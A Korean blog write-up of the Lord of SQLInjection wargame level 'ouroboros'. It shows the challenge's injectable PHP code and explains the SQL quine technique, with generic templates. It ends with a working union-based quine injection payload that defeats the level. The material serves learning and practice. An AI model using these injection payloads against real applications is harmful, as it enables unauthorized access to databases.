Post

LOS Lv.30 ouroboros (풀이 봄)

ouroboros



1
2
3
4
5
6
7
8
9
10
11
12
13
14
query : select pw from prob_ouroboros where pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>






Solution



?pw=' or 1 %23 해주면 아무것도 안나옴. -> 아무 값도 없다

따라서 union을 통해 값을 넣어줘야 되는데 불가능함.

왜 와이 ? 문제 클리어 조건은 결과 pw와 입력 pw가 같아야 하는데 테이블에는 아무 값도 없는 상태이므로 union으로 값을 넣어줘도 클리어는 불가능.

그래서 혼란스러워하다가 답지를 보니 quine이라는 것이 있다고 함.



quine



자기자신(즉 소스코드)를 출력하는 개념으로, 이 개념을 이용해서 sql언어로 작성된 quine이 있음.
namuwiki - quine



quine sql injection



1
2
3
4
5
34 = " (double quotes)

36 = $ (dollar)

39 = ' (single quote)


1
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SELECT 
  REPLACE (

    REPLACE (

      'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',

      CHAR(34),

      CHAR(39)

    ), # -> 'SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine'

    CHAR(36),

    'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine'

  ) AS Quine; 


1
2
# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];


1
2
# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];


자세한 건 blog.p6.is/quine-sql-injection/

정리하면 다음과 같음.


1
2
3
4
5
$a = [추가해도 ] select replace(replace("$", char(34), char(39)), char(36), "$") as quine [추가해도 ]

# -> 단, 더블쿼터가 싱글쿼터로 바뀐다는 점 유의해서 추가

[추가해도 ] select replace(replace('$a', char(34), char(39)), char(36), '$a') as quine [추가해도 ]



Payload



' union과 주석(%23)을 추가해주면 됨.

1
?pw=' union select replace(replace('" union select replace(replace("$", char(34), char(39)), char(36), "$") as quine %23', char(34), char(39)), char(36), '" union select replace(replace("$", char(34), char(39)), char(36), "$") as quine %23') as quine %23






This post is licensed under CC BY 4.0 by the author.